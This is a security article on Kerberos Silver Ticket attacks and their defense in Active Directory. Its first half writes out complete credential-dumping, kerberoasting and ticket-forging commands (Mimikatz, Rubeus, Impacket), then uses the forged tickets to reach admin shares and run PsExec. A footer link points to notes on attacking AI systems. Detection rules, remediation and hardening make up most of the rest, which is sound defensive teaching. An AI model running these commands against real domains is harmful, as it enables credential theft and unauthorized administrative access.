
Silver Ticket Attack and Defense
Silver Ticket attack techniques for forging Kerberos service tickets, maintaining persistent access, and evading detection in Active Directory domains.
Description
A Silver Ticket is a forged Kerberos service ticket (TGS) for one service. A Golden Ticket forges a TGT and needs the KRBTGT hash. A Silver Ticket only needs the hash of the service account that owns the target SPN, so its reach is narrower, but on the right service it still means admin access.
It works because the KDC encrypts each service ticket with the key of the account behind the Service Principal Name (SPN). The service decrypts the ticket with its own key and trusts what it finds inside. If you hold that key (the NT hash or an AES key), you can build a ticket the service accepts without ever talking to the Key Distribution Center (KDC).
Why it is quiet:
- The domain controller never sees a request, so there is no 4769 event for the forged ticket.
- Access is limited to the one service, which keeps the footprint small.
- The ticket keeps working until the service account password changes.
- Monitoring built around KDC events misses it.
- No password guessing happens, so nothing counts toward account lockout.
Stealth and Precision
Silver Tickets are often harder to spot than Golden Tickets because the KDC is never involved. To the target service the forged ticket looks like normal Kerberos authentication, so controls that watch KDC traffic see nothing.
Impact
What you get depends on which service account hash you hold and which SPN you forge for:
- Full access to the target service as whatever user you put in the ticket, usually a local or domain admin.
- Lateral movement to file shares (CIFS), databases (MSSQL) and web applications (HTTP).
- Privilege escalation, since service accounts often hold admin rights on the hosts they run on.
- Direct access to the data the service stores.
- Persistence for as long as the service account password stays the same.
- An LDAP ticket for a domain controller lets you modify AD objects.
- HOST and CIFS tickets give admin control of the target machine.
It gets much worse when the hash belongs to a high-privilege service account, for example:
- SQL Server accounts with sysadmin rights
- Exchange service accounts with administrative access
- IIS application pool identities with admin rights on the web server
- Backup service accounts with SeBackupPrivilege
Technical details
How Kerberos service tickets work
The normal flow:
- AS-REQ / AS-REP: the user gets a Ticket Granting Ticket (TGT) from the KDC.
- TGS-REQ: the user sends the TGT and asks for a service ticket.
- TGS-REP: the KDC returns a service ticket encrypted with the service account's key.
- AP-REQ: the user presents the service ticket to the service.
- The service decrypts the ticket with its own key and reads the user's identity and groups from the PAC.
A Silver Ticket skips steps 1 to 3. You build the step 3 output yourself and go straight to the AP-REQ.
What you need to forge one
| Input | Notes |
|---|---|
| Domain SID | SID of the domain, without the RID |
| Target SPN | Service class and host, for example cifs/DC01.corp.local |
| Service account key | NT hash (RC4) or AES key of the account that owns the SPN |
| User to impersonate | Usually a privileged account; it does not have to exist |
| Domain name | The FQDN |
Attack workflow
Step 1: get the service account hash
The usual ways to get it:
Kerberoasting
# Using Rubeus to extract service tickets
Rubeus.exe kerberoast /outfile:tickets.txt
# Crack tickets offline with Hashcat
hashcat -m 13100 tickets.txt wordlist.txt -r rules/best64.ruleDump LSASS with Mimikatz
# Extract NTLM hashes from LSASS memory
privilege::debug
sekurlsa::logonpasswords
# Or specifically target service accounts
sekurlsa::tickets /exportDCSync
# If domain replication rights are available
lsadump::dcsync /domain:corp.local /user:svc_sqlLSA secrets on the service host
# On compromised servers running the service
privilege::debug
token::elevate
lsadump::secretsStep 2: collect the domain SID and SPN
Domain SID:
# Using PowerShell
Get-ADDomain | Select-Object DomainSID
# Using WMIC
wmic useraccount get name,sid
# Extract the domain portion (everything before the last hyphen and RID)
# Using whoami
whoami /user
# S-1-5-21-3842939050-3880317879-2865463114-1000
# Domain SID: S-1-5-21-3842939050-3880317879-2865463114Target SPNs:
# Enumerate SPNs for a service account
setspn -L svc_sql
# Find all SPNs in the domain
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
Select-Object Name, ServicePrincipalNameStep 3: forge the ticket
Mimikatz:
# Basic Silver Ticket creation for CIFS (file share access)
kerberos::golden /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /target:DC01.corp.local /service:cifs /rc4:a87f3a337d73085c45f9416be5787d86 /user:Administrator /id:500 /ptt
# Explanation of parameters:
# /domain - Target domain FQDN
# /sid - Domain Security Identifier
# /target - Target server hostname
# /service - Service type (cifs, http, mssql, ldap, host, etc.)
# /rc4 - NTLM hash of the service account
# /user - Username to impersonate
# /id - User RID (500 for Administrator)
# /ptt - Pass The Ticket (inject into current session)Impacket:
# Create Silver Ticket with ticketer.py
ticketer.py -nthash a87f3a337d73085c45f9416be5787d86 -domain-sid S-1-5-21-3842939050-3880317879-2865463114 -domain corp.local -spn cifs/DC01.corp.local Administrator
# Use the generated ticket
export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass corp.local/Administrator@DC01.corp.localRubeus:
# Create and inject Silver Ticket
Rubeus.exe silver /service:cifs/DC01.corp.local /rc4:a87f3a337d73085c45f9416be5787d86 /sid:S-1-5-21-3842939050-3880317879-2865463114 /user:Administrator /domain:corp.local /ptt/rc4 is the service account key, the same as in the other tools. Rubeus also has /ldap, which queries the DC for the user's real PAC details so that /sid and /domain are not needed. It is left out here because it sends LDAP and SYSVOL traffic to a DC, and a Silver Ticket is otherwise forged offline.
Step 4: use the ticket
With the ticket injected, access the service as normal.
Check the ticket is in the cache:
# List current Kerberos tickets
klist
# Sample output:
# #0> Client: Administrator @ CORP.LOCAL
# Server: cifs/DC01.corp.local @ CORP.LOCAL
# KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
# Ticket Flags 0x40a00000 -> forwardable renewable pre_authentAccess the service:
# Access file shares
dir \\DC01.corp.local\C$
# Execute remote commands
PsExec.exe \\DC01.corp.local cmd.exe
# Access MSSQL database
sqlcmd -S SQL01.corp.local -ECommon service classes
CIFS / SMB
File shares and remote administration over SMB:
# Forge CIFS ticket
kerberos::golden /domain:corp.local /sid:S-1-5-21-xxx /target:FILE01.corp.local /service:cifs /rc4:<hash> /user:Administrator /ptt
# Access file shares
dir \\FILE01.corp.local\ShareName
net use \\FILE01.corp.local\C$With a CIFS ticket you can read and write shares, reach the admin shares (C$, ADMIN$) and run commands over SMB.
Custom PAC contents and cross-domain tickets
Custom groups in the PAC:
The PAC (Privilege Attribute Certificate) carries the user's group memberships. You write the PAC yourself, so you can claim any groups you want:
# Create Silver Ticket with custom group memberships
kerberos::golden /domain:corp.local /sid:S-1-5-21-xxx /target:DC01.corp.local /service:cifs /rc4:<hash> /user:lowpriv /groups:512,518,519 /ptt
# 512 = Domain Admins
# 518 = Schema Admins
# 519 = Enterprise AdminsExtra SIDs across a trust:
In a multi-domain forest you can add SIDs from another domain with /sids:
# Forge ticket for child domain
kerberos::golden /domain:child.corp.local /sid:S-1-5-21-xxx /target:SERVER.child.corp.local /service:cifs /rc4:<hash> /user:Administrator /sids:S-1-5-21-yyy-519 /pttDetection
Since the KDC never sees the forged ticket, detection has to happen on the target host and in behaviour baselines.
Event log indicators
Event ID 4769: Kerberos service ticket request
No 4769 on the DC
A forged ticket never goes through the KDC, so the domain controller logs no 4769 for it. Look at the target service instead.
Event ID 4624: logon
Watch network logons on the target servers:
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4624)]]
and
*[EventData[Data[@Name='LogonType']='3']]
and
*[EventData[Data[@Name='AuthenticationPackageName']='Kerberos']]
</Select>
</Query>
</QueryList>Things to look for:
- Logons from service accounts outside normal service hours
- Logons from unusual source IP addresses or workstations
- Service accounts authenticating interactively (LogonType 2 or 10)
- Accounts accessing services they don't normally use
Event ID 4672: special privileges assigned
Logged when an account with admin-level privileges logs on:
# Monitor for unexpected privilege assignments
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4672} |
Where-Object {$_.Properties[1].Value -like "*SeDebugPrivilege*"} |
Select-Object TimeCreated, @{N='Account';E={$_.Properties[0].Value}}Ticket-level checks
Odd ticket lifetimes:
Mimikatz defaults to a 10-year lifetime, and forged tickets often have lifetimes that do not match domain policy:
# Check for tickets with maximum lifetime (10 hours default)
klist
# Suspicious indicators:
# - Tickets with exactly 10-hour lifetimes
# - Tickets not expiring at expected intervals
# - Tickets created with future timestampsEncryption type:
Many forged tickets use RC4 because the NT hash is the easiest key to get:
-- Splunk query for RC4 usage
index=windows EventCode=4624
| where AuthenticationPackageName="Kerberos" AND EncryptionType="0x17"
| stats count by TargetUserName, IpAddress, TargetDomainNamePAC validation failures:
PAC validation can catch forged tickets, but only where it runs. Windows asks a DC to verify the PAC signatures when the service does not run as SYSTEM, Network Service or Local Service and does not hold SeTcbPrivilege. There is no Group Policy setting that turns it on. The ValidateKdcPacSignature registry value described under remediation controls it for services.
A ticket forged with a wrong or stale service key fails to decrypt on the target. The client side then logs Event ID 4 with source Kerberos in the System log, with the text "The kerberos client received a KRB_AP_ERR_MODIFIED error from the server". Other providers also use ID 4 in that log, so filter the results on the Kerberos source:
<QueryList>
<Query Id="0" Path="System">
<Select Path="System">
*[System[(EventID=4)]]
</Select>
</Query>
</QueryList>SIEM detection rules
Sigma rule:
title: Potential Silver Ticket Attack
description: Detects potential Silver Ticket attacks through authentication anomalies
status: experimental
logsource:
product: windows
service: security
detection:
selection:
EventID: 4624
LogonType: 3
AuthenticationPackageName: 'Kerberos'
filter:
# Add baseline exceptions
condition: selection and not filter
timeframe: 10m
count:
min: 5
fields:
- TargetUserName
- IpAddress
- WorkstationName
falsepositives:
- Legitimate service account authentication
- Automated systems with Kerberos authentication
level: highSplunk query:
index=windows EventCode=4624 LogonType=3 AuthenticationPackageName="Kerberos"
| eval service_account=if(match(TargetUserName, "^svc_.*|^service.*"), 1, 0)
| where service_account=1
| stats count by TargetUserName, IpAddress, ComputerName, _time
| where count > 10
| eval anomaly_score=count*2Behaviour baselines
Build a baseline of each service account's logons over 30 days or more, then alert on deviations. Useful fields: time of day, source IP, which services the account touches, encryption type, and ticket lifetime.
Remediation
First response
Step 1: identify the compromised service accounts
# Review recent service account authentications
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=(Get-Date).AddHours(-24)} |
Where-Object {$_.Properties[5].Value -eq 3 -and $_.Properties[8].Value -eq 'Kerberos'} |
Select-Object TimeCreated, @{N='User';E={$_.Properties[5].Value}}, @{N='Source';E={$_.Properties[18].Value}} |
Group-Object User | Where-Object {$_.Count -gt 50}Step 2: reset the service account passwords
Resetting the password changes the key, and every Silver Ticket forged with the old key stops working.
# Generate strong random password (32+ characters)
$NewPassword = -join ((48..57) + (65..90) + (97..122) + (33..47) | Get-Random -Count 32 | % {[char]$_})
# Reset service account password
Set-ADAccountPassword -Identity svc_sql -NewPassword (ConvertTo-SecureString $NewPassword -AsPlainText -Force) -Reset
# Update service configuration with new password
# Option 1: Using Services MMC (services.msc)
# Option 2: Using PowerShell
$service = Get-Service -Name MSSQLSERVER
$service | Set-Service -StartupType Automatic -Credential (Get-Credential CORP\svc_sql)
# Restart service to apply new credentials
Restart-Service -Name MSSQLSERVERStep 3: purge cached tickets
# On compromised systems, purge Kerberos tickets
klist purge
# Force ticket renewal via GPO
gpupdate /force
# On Domain Controllers, trigger replication
repadmin /syncall /AdePStep 4: check PAC validation
PAC validation has no Group Policy setting. For a process that runs as a service, the ValidateKdcPacSignature registry value controls it: 0 skips the DC round trip, 1 validates. Microsoft documents the Windows Server 2008 default as 0. Read the current value on the affected servers, then set it to 1 as shown under remediation:
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters" -Name "ValidateKdcPacSignature" -ErrorAction SilentlyContinueStep 5: hunt for persistence
# Check for scheduled tasks created by compromised accounts
Get-ScheduledTask | Where-Object {$_.Principal.UserId -like "*svc_*"} | Select-Object TaskName, TaskPath, Actions
# Review service modifications
Get-WmiObject Win32_Service | Where-Object {$_.StartName -like "*svc_*"} | Select-Object Name, PathName, StartName, State
# Audit file system changes
Get-ChildItem -Path C:\Windows\System32 -Recurse | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-7)}Longer-term mitigation
1. Move to group Managed Service Accounts (gMSA)
gMSA passwords are 240 characters, random and rotated automatically, so Kerberoasting them is not practical:
# Create KDS Root Key (one-time domain setup)
Add-KdsRootKey -EffectiveTime ((Get-Date).AddHours(-10))
# Create gMSA for SQL Server
New-ADServiceAccount -Name gmsa_sql -DNSHostName SQL01.corp.local -PrincipalsAllowedToRetrieveManagedPassword "SQL Servers" -ServicePrincipalNames "MSSQLSvc/SQL01.corp.local:1433"
# Install gMSA on target server
Install-ADServiceAccount -Identity gmsa_sql
# Configure service to use gMSA (no password storage required)
Set-Service -Name MSSQLSERVER -StartupType Automatic -Credential "CORP\gmsa_sql$"2. Enforce AES
Turn off RC4 and allow only AES:
# Configure supported encryption types for service accounts
Set-ADUser -Identity svc_sql -KerberosEncryptionType AES256, AES128
# Domain-wide policy (Group Policy)
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "Network security: Configure encryption types allowed for Kerberos"
# Enabled: AES256_HMAC_SHA1, AES128_HMAC_SHA1
# Disabled: DES_CBC_CRC, DES_CBC_MD5, RC4_HMAC_MD5
# Verify encryption types
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties msDS-SupportedEncryptionTypes |
Select-Object Name, @{N='EncryptionTypes';E={$_.'msDS-SupportedEncryptionTypes'}}3. Turn on PAC signature validation
Have services check PAC signatures with the KDC:
# Configure via Registry on the servers that host the services (1 = validate, 0 = skip for services). Restart afterwards
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters" -Name "ValidateKdcPacSignature" -Value 1 -PropertyType DWORD -Force4. Harden the service accounts
# Disable interactive logon for service accounts
$serviceAccounts = Get-ADUser -Filter {ServicePrincipalName -ne "$null"}
foreach ($account in $serviceAccounts) {
Set-ADUser -Identity $account -UserPrincipalName "$($account.SamAccountName)@corp.local"
Set-ADAccountControl -Identity $account -CannotChangePassword $true
Set-ADAccountControl -Identity $account -PasswordNeverExpires $false
}
# Set logon restrictions
Set-ADUser -Identity svc_sql -LogonWorkstations "SQL01,SQL02"
# Deny interactive logon via GPO
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment
# "Deny log on locally" = Add service accounts
# "Deny log on through Remote Desktop Services" = Add service accounts5. Privileged Access Management (PAM)
If people have to retrieve service account passwords, put that behind a privileged access workflow with approval and time limits, such as MIM Privileged Access Management or a password vault. The MIM PAM cmdlets (New-PAMRole and the rest of the MIMPAM module) need a MIM deployment with a bastion forest. They are not a Windows feature you can install on a member server.
Prevention
Service account passwords
Use a fine-grained password policy for service accounts:
# Set fine-grained password policy for service accounts
New-ADFineGrainedPasswordPolicy -Name "ServiceAccountPolicy" -Precedence 10 -ComplexityEnabled $true -MinPasswordLength 32 -PasswordHistoryCount 24 -MaxPasswordAge "90" -MinPasswordAge "1" -LockoutDuration "00:30:00" -LockoutObservationWindow "00:30:00" -LockoutThreshold 5
# Apply to service accounts OU
Add-ADFineGrainedPasswordPolicySubject -Identity "ServiceAccountPolicy" -Subjects "OU=ServiceAccounts,DC=corp,DC=local"
# Generate cryptographically secure passwords
Function Generate-ServicePassword {
$length = 32
$charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?"
$rng = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
$bytes = New-Object byte[]($length)
$rng.GetBytes($bytes)
$result = ""
for ($i = 0; $i -lt $length; $i++) {
$result += $charset[$bytes[$i] % $charset.Length]
}
return $result
}Use at least 25 characters for normal service accounts and 32 for high-privilege ones, rotate every 60 to 90 days, and never reuse a password across accounts.
Least privilege
The less a service account can do, the less a forged ticket for it is worth:
# Audit current service account privileges
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties MemberOf |
Select-Object Name, @{N='Groups';E={$_.MemberOf -join '; '}} |
Where-Object {$_.Groups -match "Domain Admins|Enterprise Admins|Schema Admins"}
# Remove unnecessary privileges
Remove-ADGroupMember -Identity "Domain Admins" -Members svc_backup -Confirm:$false
# Create custom service-specific groups
New-ADGroup -Name "SQL Service Admins" -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity "SQL Service Admins" -Members svc_sql
# Grant specific permissions instead of broad groups
dsacls "CN=SQL Service Admins,OU=Groups,DC=corp,DC=local" /G "SQL Service Admins:RPWP;member"Monitoring
Audit Kerberos events and watch service account logons:
# Enable advanced Kerberos auditing
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
# Forward these Security events to the SIEM with your collector or a
# Windows Event Forwarding subscription: 4624, 4625, 4672, 4768, 4769, 4770, 4771
# Deploy monitoring script
$MonitoringScript = @'
$serviceAccounts = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} | Select-Object -ExpandProperty SamAccountName
while ($true) {
$events = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=(Get-Date).AddMinutes(-5)} |
Where-Object {$serviceAccounts -contains $_.Properties[5].Value}
foreach ($event in $events) {
$user = $event.Properties[5].Value
$source = $event.Properties[18].Value
$logonType = $event.Properties[8].Value
# Alert on suspicious logon types
if ($logonType -in @(2,10)) {
Write-Warning "Interactive logon detected for service account $user from $source"
}
}
Start-Sleep -Seconds 60
}
'@Network segmentation
Limit who can reach each service:
# Create dedicated security zones
New-NetFirewallRule -DisplayName "SQL Server Access Control" -Direction Inbound -Protocol TCP -LocalPort 1433 -Action Allow -RemoteAddress "10.10.10.0/24"
# Implement micro-segmentation
Enable-NetFirewallRule -DisplayGroup "Windows Defender Firewall Remote Management"
# Restrict service account network access
$serviceAccount = Get-ADUser -Identity svc_sql
Set-ADUser -Identity $serviceAccount -Add @{msDS-AllowedToDelegateTo="MSSQLSvc/SQL01.corp.local"}Put critical services in their own VLANs, allow service ports only from the subnets that need them, and run host firewalls on every server. A forged ticket is useless if you cannot reach the port.
Regular audits
Review service accounts on a schedule:
# Automated audit script
Function Invoke-ServiceAccountAudit {
$results = @()
# Gather all service accounts
$serviceAccounts = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties *
foreach ($account in $serviceAccounts) {
$passwordAge = (Get-Date) - $account.PasswordLastSet
$lastLogon = $account.LastLogonDate
$isAdmin = ($account.MemberOf -match "Domain Admins|Enterprise Admins|Schema Admins")
$results += [PSCustomObject]@{
Name = $account.Name
SamAccountName = $account.SamAccountName
PasswordAge = $passwordAge.Days
LastLogon = $lastLogon
IsAdministrator = $isAdmin
Enabled = $account.Enabled
PasswordNeverExpires = $account.PasswordNeverExpires
CannotChangePassword = $account.CannotChangePassword
SPNs = $account.ServicePrincipalName -join '; '
}
}
# Export results
$results | Export-Csv -Path "ServiceAccountAudit_$(Get-Date -Format 'yyyyMMdd').csv" -NoTypeInformation
# Identify high-risk accounts
$results | Where-Object {$_.PasswordAge -gt 90 -or $_.IsAdministrator -eq $true} |
Format-Table -AutoSize
}
# Schedule audit monthly
$trigger = New-JobTrigger -Weekly -DaysOfWeek Monday -At 2am
Register-ScheduledJob -Name "ServiceAccountAudit" -Trigger $trigger -ScriptBlock ${Function:Invoke-ServiceAccountAudit}Verification
Check the configuration
Find weak service accounts
# Identify service accounts with weak encryption
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties msDS-SupportedEncryptionTypes |
Where-Object {$_.'msDS-SupportedEncryptionTypes' -band 0x04 -or $_.'msDS-SupportedEncryptionTypes' -eq $null} |
Select-Object Name, SamAccountName, @{N='EncryptionTypes';E={$_.'msDS-SupportedEncryptionTypes'}}
# Review password ages
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties PasswordLastSet |
Select-Object Name, PasswordLastSet, @{N='PasswordAge';E={(Get-Date) - $_.PasswordLastSet}} |
Where-Object {$_.PasswordAge.Days -gt 90} |
Sort-Object PasswordAge -DescendingTest detection
Lab or authorized test only:
# Create test service account
New-ADUser -Name "svc_test" -SamAccountName "svc_test" -ServicePrincipalNames "HTTP/test.corp.local" -AccountPassword (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -Enabled $true
# Attempt Silver Ticket creation in isolated environment
# Verify SIEM alerts trigger
# Confirm incident response procedures activateAudit gMSA use
# List all gMSAs
Get-ADServiceAccount -Filter * |
Select-Object Name, DNSHostName, Enabled, @{N='PasswordLastSet';E={$_.PasswordLastSet}}
# Verify automatic password rotation
Get-ADServiceAccount -Identity gmsa_sql -Properties msDS-ManagedPasswordInterval, msDS-ManagedPassword
# Confirm gMSA usage on servers
Get-Service | Where-Object {$_.StartName -like "*$"} | Select-Object Name, DisplayName, StartName, StatusCheck encryption settings
# Check domain-wide encryption settings
Get-ADDomain | Select-Object -ExpandProperty msDS-SupportedEncryptionTypes
# Verify individual service account configurations
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties msDS-SupportedEncryptionTypes |
Select-Object Name, @{N='Encryption';E={
switch ($_.'msDS-SupportedEncryptionTypes') {
1 {'DES-CBC-CRC'}
2 {'DES-CBC-MD5'}
4 {'RC4-HMAC'}
8 {'AES128-HMAC'}
16 {'AES256-HMAC'}
default {'Mixed'}
}
}}Other environments
Hybrid and multi-forest setups
Azure AD Connect:
# Identify Azure AD Connect sync accounts with SPNs
Get-ADUser -Filter {ServicePrincipalName -like "*AAD*"} -Properties ServicePrincipalName, LastLogonDate
# Monitor for unusual synchronization account activity
Get-ADUser -Filter {Name -like "*MSOL*" -or Name -like "*AAD*"} -Properties LastLogonDate, PasswordLastSetMultiple forests:
# Enumerate cross-forest service accounts
$forests = (Get-ADForest).Domains
foreach ($domain in $forests) {
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Server $domain -Properties ServicePrincipalName |
Select-Object @{N='Domain';E={$domain}}, Name, ServicePrincipalName
}Silver Ticket vs Golden Ticket
| Silver Ticket | Golden Ticket | |
|---|---|---|
| Key needed | Service account hash | KRBTGT hash |
| Scope | One service on one host | Whole domain |
| KDC contact | None | Used to request service tickets |
| Detection | Harder, target host only | Easier, TGS requests hit the DC |
| Invalidated by | Service account password change | Resetting the KRBTGT password twice |
Persistence with Silver Tickets
A service account hash that never rotates is persistence by itself. On top of that:
- A HOST ticket can create scheduled tasks that survive reboots.
- CIFS access lets you drop a binary for a backdoor service.
- LDAP access to a DC lets you set up certificate-based access for later.
- LDAP access also lets you create extra accounts that blend in.
References
MITRE ATT&CK
- T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket - Primary Silver Ticket technique
- T1558 - Steal or Forge Kerberos Tickets - Parent technique
- T1550.003 - Use Alternate Authentication Material: Pass the Ticket - Using forged tickets
- T1003 - OS Credential Dumping - Obtaining service account hashes
Microsoft documentation
- Microsoft: Kerberos Authentication Overview - Protocol details
- Microsoft: Group Managed Service Accounts - Mitigation via gMSA
Research
- Sean Metcalf: How Attackers Use Kerberos Silver Tickets
- Harmj0y's Blog: Kerberos Party Tricks - Silver Tickets - Attack methodology
- SANS: Detecting Kerberos Attacks
Tools
- Mimikatz - Silver Ticket creation
- Rubeus - Kerberos abuse toolkit
- Impacket ticketer - Python ticket forging
Next steps
If you find service account hashes that allow Silver Tickets:
- Reset the affected service account passwords now.
- Move compatible services to gMSAs.
- Turn on PAC validation for services (
ValidateKdcPacSignature= 1) on the servers that host them. - Enable Kerberos auditing and send the events to the SIEM.
- Related techniques:
Password Spraying Against Active Directory and Cloud Services
Password spraying against Active Directory, Office 365 and OWA, with lockout-aware timing and Kerberos user enumeration.
AI Security
Notes on attacking AI systems: how I approach LLM applications and ML pipelines as an attack surface on penetration tests and red team engagements, and the controls that hold up.